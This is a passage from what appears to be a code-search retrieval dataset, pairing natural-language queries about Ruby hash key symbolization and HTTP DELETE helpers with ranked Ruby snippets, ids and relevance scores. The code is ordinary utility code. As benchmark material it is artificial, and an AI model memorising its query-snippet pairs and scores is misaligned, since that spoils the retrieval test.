"text": "def black_king_capturable?\n black_king = black_pieces.select{|p| p.is_a?(King)}.first\n if black_king\n capturable = false\n black_king_coords = find_piece(black_king)\n white_pieces.each{|p| capturable ||= p.baseline_moves_for_board(self).include?(black_king_coords)}\n return capturable\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "91da8093993c5b7c02ccafc2f98f1ee1",
"score": "0.5259596",
"text": "def deuce?\n @points >= 3 && @points == @opponent.points\n end",
"title": ""
}
] |
66c36455a8055f110bfd1d6d60a82f54
|
Returns a mutable options hash with symbolized keys. Optionally, returns only the keys given.
|
[
{
"docid": "c7c652802539cb472855c971181bdf26",
"score": "0.79346174",
"text": "def symbolized_options(*keys) # :nodoc:\n @symbolized_options ||= begin\n opts = {}.merge(options)\n opts.merge! saved_options if saved_options?\n opts.symbolize_keys\n end\n @symbolized_options.slice(*keys)\n end",
"title": ""
}
] |
[
{
"docid": "02b1cbab9aa370ca4f71b668e2d25874",
"score": "0.7740102",
"text": "def symbolize_keys\n inject({}) do |options, (key, value)|\n options[key.to_sym] = value\n options\n end\n end",
"title": ""
},
{
"docid": "02b1cbab9aa370ca4f71b668e2d25874",
"score": "0.7740102",
"text": "def symbolize_keys\n inject({}) do |options, (key, value)|\n options[key.to_sym] = value\n options\n end\n end",
"title": ""
},
{
"docid": "ce2db105e24fd142b47712222fd4a9c6",
"score": "0.7695897",
"text": "def symbolize_keys\n inject({}) do |options, (key, value)|\n options[key.to_sym || key] = value\n options\n end\n end",
"title": ""
},
{
"docid": "ebe32ae925ac660622c2138cd02f9e57",
"score": "0.7688634",
"text": "def symbolize_keys\n inject({}) do |options, (key, value)|\n options[(key.to_sym rescue key) || key] = value\n options\n end\n end",
"title": ""
},
{
"docid": "ebe32ae925ac660622c2138cd02f9e57",
"score": "0.7688634",
"text": "def symbolize_keys\n inject({}) do |options, (key, value)|\n options[(key.to_sym rescue key) || key] = value\n options\n end\n end",
"title": ""
},
{
"docid": "ebe32ae925ac660622c2138cd02f9e57",
"score": "0.7688634",
"text": "def symbolize_keys\n inject({}) do |options, (key, value)|\n options[(key.to_sym rescue key) || key] = value\n options\n end\n end",
"title": ""
},
{
"docid": "ebe32ae925ac660622c2138cd02f9e57",
"score": "0.7688634",
"text": "def symbolize_keys\n inject({}) do |options, (key, value)|\n options[(key.to_sym rescue key) || key] = value\n options\n end\n end",
"title": ""
},
{
"docid": "ebe32ae925ac660622c2138cd02f9e57",
"score": "0.7688634",
"text": "def symbolize_keys\n inject({}) do |options, (key, value)|\n options[(key.to_sym rescue key) || key] = value\n options\n end\n end",
"title": ""
},
{
"docid": "6b87b304bdafc00028ca9a38bec0863f",
"score": "0.7682824",
"text": "def symbolize_keys\n inject({}) do |options, (key, value)|\n options[(key.to_sym rescue key) || key] = value\n options\n end\n end",
"title": ""
},
{
"docid": "7d1728ffa92bb3e7b0d419958713cdda",
"score": "0.7669126",
"text": "def symbolize_keys\n\t\tinject({}) do |options, (key, value)|\n\t\t\toptions[key.to_sym || key] = value\n\t\t\toptions\n\t\tend\n\tend",
"title": ""
},
{
"docid": "92c89ebf55c335c3644ab183a997288f",
"score": "0.76520556",
"text": "def symbolize_keys\n inject({}) do |options, (key, value)|\n options[(key.to_sym rescue key) || key] = value\n options\n end\n end",
"title": ""
},
{
"docid": "9b4e79a1956d851e1f81476532ba5773",
"score": "0.7585515",
"text": "def symbolize_keys\n inject({}) do |options, (key, value)|\n options[(key.to_sym rescue key) || key] = value\n options\n end\n end",
"title": ""
},
{
"docid": "ef548303bf569dd34a8acba9c59c2c69",
"score": "0.7129875",
"text": "def symbolize_keys(hash)\n hash.inject({}) do |options, (key, value)|\n options[(key.to_sym rescue key) || key] = value\n options\n end\n end",
"title": ""
},
{
"docid": "b41486ced0ebb9c876d353c0e47fbfdc",
"score": "0.7051734",
"text": "def get_options args\n options = {}\n return options unless hash? args\n\n hash_iterate args do |key, value|\n if symbol? key\n options[key.value] = value\n end\n end\n\n options\n end",
"title": ""
},
{
"docid": "ae43ba93a1c9195f78cb6f74f242fc7c",
"score": "0.70503247",
"text": "def symbolize_keys(hash)\n return hash unless hash.is_a?(Hash)\n hash.inject({}) do |options, (key, value)|\n options[(key.to_sym if key.respond_to?(:to_sym)) || key] = value\n options\n end\n end",
"title": ""
},
{
"docid": "0e2568140f09dd1344cf68ea5692e57a",
"score": "0.6988375",
"text": "def to_hash\n OPTIONS.keys.inject({}) do |hash, option|\n hash[option.to_sym] = send(option)\n hash\n end\n end",
"title": ""
},
{
"docid": "a0f8d1e54563e1a3b9ade26165249de8",
"score": "0.6942395",
"text": "def keys\n options_storage.each_with_object([]) do |(k, v), memo|\n memo << k.to_sym\n end\n end",
"title": ""
},
{
"docid": "ffc72b53abb083eb17680bec77543b45",
"score": "0.6885122",
"text": "def normalize_options(options)\n options.to_sym_keys\n end",
"title": ""
},
{
"docid": "cf3fdbcacd6d7b414c8a10d934de6668",
"score": "0.6872737",
"text": "def to_hash\n OPTIONS.inject({}) do |hash, option|\n hash.merge(option.to_sym => send(option))\n end\n end",
"title": ""
},
{
"docid": "cf3fdbcacd6d7b414c8a10d934de6668",
"score": "0.6872737",
"text": "def to_hash\n OPTIONS.inject({}) do |hash, option|\n hash.merge(option.to_sym => send(option))\n end\n end",
"title": ""
},
{
"docid": "cf3fdbcacd6d7b414c8a10d934de6668",
"score": "0.6872737",
"text": "def to_hash\n OPTIONS.inject({}) do |hash, option|\n hash.merge(option.to_sym => send(option))\n end\n end",
"title": ""
},
{
"docid": "cf3fdbcacd6d7b414c8a10d934de6668",
"score": "0.6872737",
"text": "def to_hash\n OPTIONS.inject({}) do |hash, option|\n hash.merge(option.to_sym => send(option))\n end\n end",
"title": ""
},
{
"docid": "cf3fdbcacd6d7b414c8a10d934de6668",
"score": "0.6872737",
"text": "def to_hash\n OPTIONS.inject({}) do |hash, option|\n hash.merge(option.to_sym => send(option))\n end\n end",
"title": ""
},
{
"docid": "7362081ecac4e2b04fb29a75b21d939c",
"score": "0.68085885",
"text": "def symbolize_keys!\n map_keys! { |k| k.to_sym }\n end",
"title": ""
},
{
"docid": "456937388a704e12a4a01f73a53d8a8c",
"score": "0.6784895",
"text": "def to_hash\n OPTIONS.inject({}) do |hash, option|\n hash.merge(option.to_sym => send(option))\n end\n end",
"title": ""
},
{
"docid": "2b2608715f89aaf9371466db2921008f",
"score": "0.678246",
"text": "def symbolize_keys!\n keys.each{|k| \n v = delete(k)\n self[k.to_sym] = v\n v.symbolize_keys! if v.is_a?(Hash)\n v.each{|p| p.symbolize_keys! if p.is_a?(Hash)} if v.is_a?(Array)\n }\n self\n end",
"title": ""
},
{
"docid": "16decf79b238d6683e2cfbd751cb239f",
"score": "0.67266357",
"text": "def to_hash\n OPTIONS.inject({}) do |hash, option|\n hash.merge(option.to_sym => send(option))\n end\n end",
"title": ""
},
{
"docid": "929686ddd62f03d662ab9db10302e633",
"score": "0.67228574",
"text": "def keys_only(options)\n Hash[ *options.select { |k, v| db_keys.include?(k) }.flatten ]\n end",
"title": ""
},
{
"docid": "752b0027c22540c2609d583b2ae4a762",
"score": "0.67171395",
"text": "def symbolize_keys!\n transform_keys!(&:to_sym)\n end",
"title": ""
},
{
"docid": "01a1ed6c5cc7672026be4970c8dad948",
"score": "0.67023164",
"text": "def symbolize_keys!\n replace(symbolize_keys)\n end",
"title": ""
},
{
"docid": "e9ddcf1ae851f2660b30bdec30eee85e",
"score": "0.668348",
"text": "def symbolize_keys!; end",
"title": ""
},
{
"docid": "e9ddcf1ae851f2660b30bdec30eee85e",
"score": "0.668348",
"text": "def symbolize_keys!; end",
"title": ""
},
{
"docid": "3c2386891dfc4de9c186c662b426d8b9",
"score": "0.6679767",
"text": "def symbolize_keys!\n replace(symbolize_keys)\n end",
"title": ""
},
{
"docid": "3c2386891dfc4de9c186c662b426d8b9",
"score": "0.6679767",
"text": "def symbolize_keys!\n replace(symbolize_keys)\n end",
"title": ""
},
{
"docid": "ff3c73782b90a7cd150fecb761783624",
"score": "0.66705185",
"text": "def symbolize_keys\n each_with_object({}) { |(k, v), hsh| hsh[k.to_sym] = v.is_a?(Hash) ? v.symbolize_keys : v }\n end",
"title": ""
},
{
"docid": "2469dcd83e0555a3604001abb17b136a",
"score": "0.66452813",
"text": "def to_hash_keys(defaults, opts = {})\n t = (opts.has_key?(:only)) ? opts[:only] : defaults\n t = [ t ] unless t.is_a?(Array)\n klist = t.map { |k| k.to_sym }\n\n if opts.has_key?(:include)\n o_inc = (opts[:include].is_a?(Array)) ? opts[:include] : [ opts[:include] ]\n o_inc.each do |k|\n sk = k.to_sym\n klist << sk unless klist.include?(sk)\n end\n end\n\n if opts.has_key?(:except)\n o_exc = (opts[:except].is_a?(Array)) ? opts[:except] : [ opts[:except] ]\n o_exc.each do |k|\n sk = k.to_sym\n klist.delete(sk)\n end\n end\n\n klist\n end",
"title": ""
},
{
"docid": "e0e821e98641e927a33e3e50625266dd",
"score": "0.66223013",
"text": "def to_hash\n OPTIONS.inject({}) do |hash, option|\n hash[option.to_sym] = self.send(option)\n hash\n end\n end",
"title": ""
},
{
"docid": "e0e821e98641e927a33e3e50625266dd",
"score": "0.66223013",
"text": "def to_hash\n OPTIONS.inject({}) do |hash, option|\n hash[option.to_sym] = self.send(option)\n hash\n end\n end",
"title": ""
},
{
"docid": "e0e821e98641e927a33e3e50625266dd",
"score": "0.66223013",
"text": "def to_hash\n OPTIONS.inject({}) do |hash, option|\n hash[option.to_sym] = self.send(option)\n hash\n end\n end",
"title": ""
},
{
"docid": "e0e821e98641e927a33e3e50625266dd",
"score": "0.66223013",
"text": "def to_hash\n OPTIONS.inject({}) do |hash, option|\n hash[option.to_sym] = self.send(option)\n hash\n end\n end",
"title": ""
},
{
"docid": "e0e821e98641e927a33e3e50625266dd",
"score": "0.66223013",
"text": "def to_hash\n OPTIONS.inject({}) do |hash, option|\n hash[option.to_sym] = self.send(option)\n hash\n end\n end",
"title": ""
},
{
"docid": "e0e821e98641e927a33e3e50625266dd",
"score": "0.66223013",
"text": "def to_hash\n OPTIONS.inject({}) do |hash, option|\n hash[option.to_sym] = self.send(option)\n hash\n end\n end",
"title": ""
},
{
"docid": "6bc6a990ab1ac770c84274a4cdf0d854",
"score": "0.66037315",
"text": "def get_modified_options\n if options\n opts = options.inject({}) do |sum,h| \n sum.merge!({h[0].to_sym => ((h[1].nil?) ? self.send(h[0].to_sym) : h[1]) })\n end\n else\n opts = {}\n end\n opts.reject {|k,v| disallowed_options.include?(k) }\n end",
"title": ""
},
{
"docid": "7a28c51731e2d8adf889f17393a3d5f6",
"score": "0.6600729",
"text": "def symbolize_keys; end",
"title": ""
},
{
"docid": "efb25f962651bd4e46e502cc3b38d9d2",
"score": "0.654182",
"text": "def symbolize_keys(recursive = false)\n to_hash.symbolize_keys(recursive)\n end",
"title": ""
},
{
"docid": "869941667af9d85e1ca9693286aa0984",
"score": "0.6507602",
"text": "def deep_symbolize_keys!\n deep_transform_keys!(&:to_sym)\n end",
"title": ""
},
{
"docid": "5fa4d76873ca3e698797f89c6bb1dfa6",
"score": "0.6507036",
"text": "def options_as_hash\n options.inject({}) do |memo, option|\n memo[option.name.to_s] = option\n memo\n end\n end",
"title": ""
},
{
"docid": "c655079e0d9471ee84af62988ee37baa",
"score": "0.65023756",
"text": "def deep_symbolize_keys!; end",
"title": ""
},
{
"docid": "c655079e0d9471ee84af62988ee37baa",
"score": "0.65023756",
"text": "def deep_symbolize_keys!; end",
"title": ""
},
{
"docid": "b115099eed9006ca1703355ab7a41989",
"score": "0.64919895",
"text": "def symbolize_keys!(recursive = true)\n\t\tself.map! { |val| val.symbolize_keys! if (recursive && (val.is_a?(Hash) || val.is_a?(Array))); val }\n\tend",
"title": ""
},
{
"docid": "1516d4a2d4d47f561a89cf25780c9c1f",
"score": "0.64900756",
"text": "def symbolize_keys(recursive=false)\n collect_keys(recursive){ |k| k.to_sym }\n end",
"title": ""
},
{
"docid": "a345a8ab0e42ffcbdddfacda6a9a6841",
"score": "0.6471015",
"text": "def symbolize_keys!\n each do |e|\n e.symbolize_keys! if e.respond_to?(:symbolize_keys!)\n end\n end",
"title": ""
},
{
"docid": "ae73a6b856c53c2be8e1cb81b068a960",
"score": "0.64675355",
"text": "def to_hash\n {}.tap do |hash|\n # the \"key\" here is to call to_hash on all containers.\n [ @wrapped_options.to_hash, @mutable_options.to_hash ].each do |options|\n options.each { |k, v| hash[k.to_sym] = v }\n end\n end\n end",
"title": ""
},
{
"docid": "b7aee3606d3fc05dec2f102efb7e01ad",
"score": "0.6458388",
"text": "def to_hash\n\t\t\tOPTIONS.inject({}) do |hash, option|\n\t\t\t\thash[option.to_sym] = self.send(option)\n\t\t\t\thash\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "05b1256f208d478f02db8dc564a757a3",
"score": "0.6456594",
"text": "def symbolize_keys!\n transform_keys!{ |key| key.to_sym rescue key }\n end",
"title": ""
},
{
"docid": "05b1256f208d478f02db8dc564a757a3",
"score": "0.6456594",
"text": "def symbolize_keys!\n transform_keys!{ |key| key.to_sym rescue key }\n end",
"title": ""
},
{
"docid": "05b1256f208d478f02db8dc564a757a3",
"score": "0.6456594",
"text": "def symbolize_keys!\n transform_keys!{ |key| key.to_sym rescue key }\n end",
"title": ""
},
{
"docid": "05b1256f208d478f02db8dc564a757a3",
"score": "0.6456594",
"text": "def symbolize_keys!\n transform_keys!{ |key| key.to_sym rescue key }\n end",
"title": ""
},
{
"docid": "481c57403ab7709345be186323aaf9b2",
"score": "0.64550734",
"text": "def deep_symbolize_keys!\n replace(deep_symbolize_keys)\n end",
"title": ""
},
{
"docid": "474b69e437eeb375dded5a5c33b19d40",
"score": "0.6452346",
"text": "def options\n Hash[VALID_OPTIONS_KEYS.map {|key| [key, send(key)] }]\n end",
"title": ""
},
{
"docid": "b928af844d4d7e26a2c962b24d37012b",
"score": "0.6442308",
"text": "def symbolize_keys!\n keys.each do |key|\n value = delete(key)\n value.symbolize_keys! if value.is_a?(Hash)\n self[(key.to_sym rescue key) || key] = value\n end\n self\n end",
"title": ""
},
{
"docid": "b702683d83c4c92ccfe2a10912e2d670",
"score": "0.6431476",
"text": "def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"title": ""
},
{
"docid": "b702683d83c4c92ccfe2a10912e2d670",
"score": "0.6431476",
"text": "def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"title": ""
},
{
"docid": "b702683d83c4c92ccfe2a10912e2d670",
"score": "0.6431476",
"text": "def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"title": ""
},
{
"docid": "b702683d83c4c92ccfe2a10912e2d670",
"score": "0.6431476",
"text": "def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"title": ""
},
{
"docid": "b702683d83c4c92ccfe2a10912e2d670",
"score": "0.6431476",
"text": "def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"title": ""
},
{
"docid": "2d230a3aa69ea025b53fc3028e8b3914",
"score": "0.6427751",
"text": "def recursive_symbolize_keys!\n items = {}\n self.each_pair do |k,v|\n value = delete(k)\n items[k] = value_or_symbolize_value(value)\n end\n items\n end",
"title": ""
},
{
"docid": "3808a5c5b72b805051b73da0b774fc1b",
"score": "0.64237237",
"text": "def to_hash\n OPTIONS.inject({}) do |hash, option|\n key = option.first\n hash[key] = self.send(key)\n hash\n end\n end",
"title": ""
},
{
"docid": "ffe69ac94e9f94d838df618722cf3a8c",
"score": "0.64213103",
"text": "def to_hash(symbolize_keys: nil, **opt)\n opt = opt.merge(symbolize_keys: symbolize_keys) unless symbolize_keys.nil?\n serialize(:hash, **opt)\n end",
"title": ""
},
{
"docid": "f85d6a20608ceb0285938166949d18f9",
"score": "0.64166147",
"text": "def deep_symbolize_keys!\n deep_transform_keys! { |key| key.to_sym rescue key }\n end",
"title": ""
},
{
"docid": "f85d6a20608ceb0285938166949d18f9",
"score": "0.64166147",
"text": "def deep_symbolize_keys!\n deep_transform_keys! { |key| key.to_sym rescue key }\n end",
"title": ""
},
{
"docid": "f85d6a20608ceb0285938166949d18f9",
"score": "0.64166147",
"text": "def deep_symbolize_keys!\n deep_transform_keys! { |key| key.to_sym rescue key }\n end",
"title": ""
},
{
"docid": "0e729070de8f9d6c83fbebbdb89811bc",
"score": "0.6411565",
"text": "def symbolize_keys(hash)\n symbolize_keys!(hash.dup)\n end",
"title": ""
},
{
"docid": "209b6b84f30f3a2e463820673ca100fd",
"score": "0.64022744",
"text": "def symbolize_keys!(hash)\n hash.transform_keys!(&:to_sym)\n end",
"title": ""
},
{
"docid": "6fb3e3b177c9ed3173046cf7819c76c4",
"score": "0.63993627",
"text": "def symbolize_keys\n each_with_object({}) do |(k, v), hsh|\n next if k.is_a?(String) && key?(k.to_sym)\n\n hsh[k.to_sym] = v.is_a?(Hash) ? v.symbolize_keys : v\n end\n end",
"title": ""
},
{
"docid": "642d65479db8c6f1f1321095aa80a165",
"score": "0.63978523",
"text": "def deep_symbolize_keys\n self.inject(Hash.new) do |result, array|\n key, value = array.first, array.last\n if value.respond_to?(:symbolize_keys)\n result[key.to_sym] = value.symbolize_keys\n else\n result[key.to_sym] = value\n end\n result\n end\n end",
"title": ""
},
{
"docid": "3d02f9cc5f0e77b8964b70495e7232de",
"score": "0.6378703",
"text": "def symbolize_keys!(recursive = false)\n keys.each do |key|\n value = delete(key)\n key = key.respond_to?(:to_sym) ? key.to_sym : key\n self[key] = (recursive && value.is_a?(Hash)) ? value.dup.symbolize_keys!(recursive) : value\n end\n self\n end",
"title": ""
},
{
"docid": "4078b6f9afe7884063258ed50c1351aa",
"score": "0.6372985",
"text": "def symbolize_keys!\n replace symbolize_keys\n end",
"title": ""
},
{
"docid": "a2a90933e3f822ff74e6d86e58541d9e",
"score": "0.63666785",
"text": "def symbolize_keys\n transform_keys { |key| key.to_sym rescue key }\n end",
"title": ""
},
{
"docid": "ad5354453ced0274289e01eea9b13d98",
"score": "0.63628733",
"text": "def options\n Hash[*VALID_OPTIONS_KEYS.map {|key| [key, send(key)] }.flatten]\n end",
"title": ""
},
{
"docid": "2d74ee4628d50809715f2f891f66a221",
"score": "0.63610125",
"text": "def fix_options(options)\n result = {}\n\n options.each do |key, value|\n result[key.to_sym] = value\n end\n\n return result\n end",
"title": ""
},
{
"docid": "8d9912cf6c22b1083e9a71a87a3e3adc",
"score": "0.63608736",
"text": "def symbolize_keys!(recursive = false)\n keys.each do |key|\n value = delete(key)\n key = key.respond_to?(:to_sym) ? key.to_sym : key\n if value.is_a?(Array)\n value = value.map do |sub_value|\n (recursive && sub_value.is_a?(Hash)) ? sub_value.dup.symbolize_keys!(recursive) : sub_value\n end\n end\n self[key] = (recursive && value.is_a?(Hash)) ? value.dup.symbolize_keys!(recursive) : value\n end\n self\n end",
"title": ""
},
{
"docid": "31b74391d8c58607388dcd677a1a4c84",
"score": "0.6359495",
"text": "def to_hash(include_commands = false)\n hash = Hash[options.map { |opt| [opt.key.to_sym, opt.value] }]\n if include_commands\n @commands.each { |cmd, opts| hash.merge!(cmd.to_sym => opts.to_hash) }\n end\n hash\n end",
"title": ""
},
{
"docid": "4f45db518b678db7f59e13cd7a74d338",
"score": "0.63553816",
"text": "def deep_symbolize_keys\n deep_transform_keys{ |key| key.to_sym rescue key }\n end",
"title": ""
},
{
"docid": "a1abf7277e42a628a7bba17790ab36a0",
"score": "0.6353209",
"text": "def symbolize_keys\n self.inject({}) do|h, (key, value)|\n new_key = key.is_a?(String) ? key.to_sym : key\n new_value = value.is_a?(Hash) ? value.symbolize_keys : value\n h[new_key] = new_value\n h\n end\n end",
"title": ""
},
{
"docid": "6fc6b0cb1808f6a6a9959915329883fe",
"score": "0.6351729",
"text": "def symbolize_keys\n\t\tdup.symbolize_keys!\n\tend",
"title": ""
},
{
"docid": "96dafea867312f090081c4ec93b692d9",
"score": "0.634469",
"text": "def symbolize_values\n ignore = [:compare]\n each { |k, v| self[k] = v.to_sym if v.is_a?(String) && !ignore.include?(k.to_sym) }\n end",
"title": ""
},
{
"docid": "a379659b540b34e734d1fb729dd5ecd8",
"score": "0.6344441",
"text": "def deep_symbolize_keys\n deep_transform_keys { |key| key.to_sym rescue key }\n end",
"title": ""
},
{
"docid": "a379659b540b34e734d1fb729dd5ecd8",
"score": "0.6344441",
"text": "def deep_symbolize_keys\n deep_transform_keys { |key| key.to_sym rescue key }\n end",
"title": ""
},
{
"docid": "a379659b540b34e734d1fb729dd5ecd8",
"score": "0.6344441",
"text": "def deep_symbolize_keys\n deep_transform_keys { |key| key.to_sym rescue key }\n end",
"title": ""
},
{
"docid": "2ce438b986cb649cc8e8ae1140582dbe",
"score": "0.634289",
"text": "def options\n {copy_keys: copy_keys,\n prefix: prefix,\n prefix_separator: prefix_separator,\n symbolize_keys: symbolize_keys,\n reject_keys: reject_keys}\n end",
"title": ""
},
{
"docid": "106cb7dbf28725ee8e59f5f45ec3e5c9",
"score": "0.63412946",
"text": "def to_hash\n OPTIONS.inject({}) do |hash, option|\n hash.merge(option => send(option))\n end\n end",
"title": ""
},
{
"docid": "d712a70c4ddc491d06f39a0a364e708f",
"score": "0.63382506",
"text": "def options\n Hash[*VALID_OPTIONS_KEYS.collect { |key| [key, send(key)] }.flatten]\n end",
"title": ""
},
{
"docid": "168b2b99edd5dbeca002589e8b75270c",
"score": "0.63328516",
"text": "def options\n Hash[*OPTIONS_KEYS.map{|key| [key, send(key)]}.flatten]\n end",
"title": ""
},
{
"docid": "61d486cd77620e9c151d1f1a6b22b8bb",
"score": "0.63311666",
"text": "def symbolize_keys\n update_keys(&:to_sym)\n end",
"title": ""
},
{
"docid": "b4103df8edd7dcc060a13a7b39391d87",
"score": "0.6323678",
"text": "def symbolize_keys(arg)\n case arg\n when Array\n arg.map { |elem| symbolize_keys elem }\n when Hash\n Hash[\n arg.map { |key, value|\n k = key.is_a?(String) ? key.to_sym : key\n v = symbolize_keys value\n [k,v]\n }]\n else\n arg\n end\nend",
"title": ""
},
{
"docid": "7f48238ed1968d4d55200b79ab614120",
"score": "0.63101894",
"text": "def convert_keys(options)\n options.keys.each {|k| options[k.to_s] = options.delete(k) if k.kind_of?(Symbol)}\n options\n end",
"title": ""
},
{
"docid": "7f48238ed1968d4d55200b79ab614120",
"score": "0.63101894",
"text": "def convert_keys(options)\n options.keys.each {|k| options[k.to_s] = options.delete(k) if k.kind_of?(Symbol)}\n options\n end",
"title": ""
},
{
"docid": "454c82a71f98b65114377c0ec651e8da",
"score": "0.63098985",
"text": "def symbolize_keys!(hash)\n hash.keys.each do |key|\n hash[(key.to_sym rescue key) || key] = hash.delete(key)\n end\n hash\n end",
"title": ""
},
{
"docid": "ff32cb9d5de895f0551d5fdbc0744368",
"score": "0.63085145",
"text": "def symbolize_keys!(recursive = false)\n keys.each do |key|\n value = delete(key)\n key = key.respond_to?(:to_sym) ? key.to_sym : key\n self[key] = (recursive && value.is_a?(Hash)) ? value.dup.symbolize_keys!(recursive) : value\n end\n self\n end",
"title": ""
}
] |
1c3c4a14e2db36918962e0f0d412c50d
|
Delete content of specified URL.
|
[
{
"docid": "2d792a259658d5bad90d969a86f66043",
"score": "0.0",
"text": "def delete(endpoint_base, endpoint_path, headers = {})\n headers = API::DEFAULT_HEADERS.merge(headers)\n httpclient.delete(endpoint_base + endpoint_path, headers)\n end",
"title": ""
}
] |
[
{
"docid": "b872245a960e1cd6ec5de2255047b265",
"score": "0.80458695",
"text": "def delete(url)\n preform(url, :delete) do\n return connection.delete(url)\n end\n end",
"title": ""
},
{
"docid": "06707afed7916d1d18d62e1bb205c172",
"score": "0.80182195",
"text": "def delete_url(url)\n @urls.delete(url)\n end",
"title": ""
},
{
"docid": "50dcf8b4ef0ea5e770149efa28b03df7",
"score": "0.7964546",
"text": "def del(url)\n FileUtils.rm filepath(url), force: true\n end",
"title": ""
},
{
"docid": "37e6b376e385dc25c6e051f00f3ae8b2",
"score": "0.78636706",
"text": "def delete_url(url)\n execute(SQL[:delete_url], [url])\n nil\n end",
"title": ""
},
{
"docid": "8679cb1650d9f95ab68d7988aa3f9382",
"score": "0.78021795",
"text": "def delete(url)\n\n request(url, 'DELETE', '')\n\n end",
"title": ""
},
{
"docid": "8679cb1650d9f95ab68d7988aa3f9382",
"score": "0.78021795",
"text": "def delete(url)\n\n request(url, 'DELETE', '')\n\n end",
"title": ""
},
{
"docid": "a328e27d7f3f16f17260a09f7ca6f4df",
"score": "0.7725669",
"text": "def delete(url)\n authsub_http_request(Net::HTTP::Delete,url)\n end",
"title": ""
},
{
"docid": "e1516a76c03a1a8f79c0c6b1ff5cf920",
"score": "0.76618105",
"text": "def delete(url)\n req(url, :delete)\n end",
"title": ""
},
{
"docid": "7d4b22475982af1d70544c176228804e",
"score": "0.7610963",
"text": "def delete(url:)\n delete_url = escape(@baseurl.to_s + url.to_s)\n\n puts 'DELETE REQUEST', delete_url if @debug\n response = @client.delete(delete_url)\n puts 'DELETE RESPONSE: ', response.body if @debug\n\n parse_response(response)\n end",
"title": ""
},
{
"docid": "49d71d908b09b6ad6a4b36706bfbd4db",
"score": "0.7579046",
"text": "def delete!\n res = Seaweed::HTTP.delete url\n !(Seaweed::HTTP.parse(res)[:size].nil?)\n end",
"title": ""
},
{
"docid": "f6d32d683fc1d6ba596f0cb7f35db7f2",
"score": "0.7575165",
"text": "def delete(url)\r\n uri = get_full_url(url)\r\n response = @http_adapter.delete(uri)\r\n return parseResponse(response)\r\n end",
"title": ""
},
{
"docid": "c66fdd8d18698899d9704d0506a58808",
"score": "0.7515576",
"text": "def destroy\n @url = Url.find(params[:id])\n @url.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "c12a80ddd041a42d0e31c74345a4445a",
"score": "0.7478753",
"text": "def delete(url)\n return self.make_request(:delete, url)\n end",
"title": ""
},
{
"docid": "09453e772a8bca5b80a291b1ec7777d0",
"score": "0.7440417",
"text": "def delete(url)\n\t\tresponse = self.request('DELETE', url)\n\t\treturn true\t\n\tend",
"title": ""
},
{
"docid": "02f324f1cc5f0837b1c686cdd30c13dd",
"score": "0.74350715",
"text": "def delete(url)\n req = create_req(url)\n Bixby.client.sign_http_request(req)\n res = HTTPI.delete(req)\n if res.error? then\n raise \"error\" # TODO\n end\n true\n end",
"title": ""
},
{
"docid": "b8688e32c572bdab93707d4c0e014de5",
"score": "0.74302465",
"text": "def delete url\n response = filtered_response(self.class.delete(url))\n end",
"title": ""
},
{
"docid": "fcee5d02ede68df234bf1aa586c1ecc7",
"score": "0.7416339",
"text": "def delete(url)\n connect(url)\n path = @uri.request_uri\n req = Net::HTTP::Delete.new(path)\n res = @http.request(req)\n if res.code == '404'\n return false # The url doesnt exists\n elsif res.code == '200'\n return true\n else\n raise(\"Uri: #{@uri.to_s} reutrned invalid return code #{res.code}\")\n end\n end",
"title": ""
},
{
"docid": "0897b357c53aec2569002768028f0c1a",
"score": "0.73646617",
"text": "def delete(url)\n response = request('DELETE', url)\n response['data'] = response['Error'] unless response['Error'].nil?\n return response['data']\n end",
"title": ""
},
{
"docid": "09961a7ac60acc4273b3c9e3e3e9aa01",
"score": "0.73539263",
"text": "def delete(url)\n\n #@logger.error(\"delete\", :url => url)\n\n body = \"\"\n response = @http.delete!(url)\n response.read_body { |chunk| body << chunk }\n result = JSON.parse(body)\n end",
"title": ""
},
{
"docid": "2fe95f5305ebd72922101f617d8b6748",
"score": "0.73232615",
"text": "def delete_file(url)\n file_name = get_filename_by_url(url)\n return false unless @dir.files.head(file_name)\n @dir.files.get(file_name).destroy\n end",
"title": ""
},
{
"docid": "c5da1cab33330a4b5cd75504975e9848",
"score": "0.73151755",
"text": "def delete_data(url)\n uri = URI.parse(url)\n req = Net::HTTP::Delete.new(uri.request_uri)\n req[\"Content-Type\"] = self.content_type\n req.basic_auth(self.user.to_s, self.password.to_s)\n http = Net::HTTP.new(uri.host, uri.port)\n http.request(req)\n end",
"title": ""
},
{
"docid": "3b4686a1b64e372ca5e83b6cdd5b39f2",
"score": "0.7283489",
"text": "def delete url\n http.delete do |req|\n req.url url\n yield req if block_given?\n end\n end",
"title": ""
},
{
"docid": "e985e64fe8793b6260703f784984f252",
"score": "0.7213249",
"text": "def delete url, referer = nil\n\t\t\t@log.debug(\"DELETE: #{url.to_s}\")\n\t\t\trequest(\"DELETE\", url.to_uri, referer)\n\t\tend",
"title": ""
},
{
"docid": "c982ba468c2eb30d334bace02791c593",
"score": "0.7193876",
"text": "def clear(url)\n @table.where(:url => url).delete\n end",
"title": ""
},
{
"docid": "a8e7fc8afe086da854422f2d508200e7",
"score": "0.7171109",
"text": "def delete_content(content_id)\n delete(url_(\"content\", content_id))\n end",
"title": ""
},
{
"docid": "acbf46fe620a826dd45f370c1a625c83",
"score": "0.71357363",
"text": "def delete(path)\n HTTP\n .headers(headers)\n .delete(get_full_url(path))\n end",
"title": ""
},
{
"docid": "840ffc0abe5abfad37343401a129fabc",
"score": "0.7133011",
"text": "def delete(url, options={})\n response = request :delete, url, options\n handle_response(response)\n response.parsed_response\n end",
"title": ""
},
{
"docid": "ed7dc3e8a9781a2d965c78cb46374b39",
"score": "0.71039605",
"text": "def delete(url, options = {})\n connection(url, options) do |uri, conn|\n conn.delete(uri.request_uri, options)\n end\n end",
"title": ""
},
{
"docid": "6dbed523902d5658c641125b182caabc",
"score": "0.7085853",
"text": "def delete!(entry, url = entry.edit_url)\n @http.delete(url)\n end",
"title": ""
},
{
"docid": "1f2958f94c18527d97ba8445b4c04ca7",
"score": "0.7072583",
"text": "def delete(url, url_opts = {})\n request(url, :delete, url_opts)\n end",
"title": ""
},
{
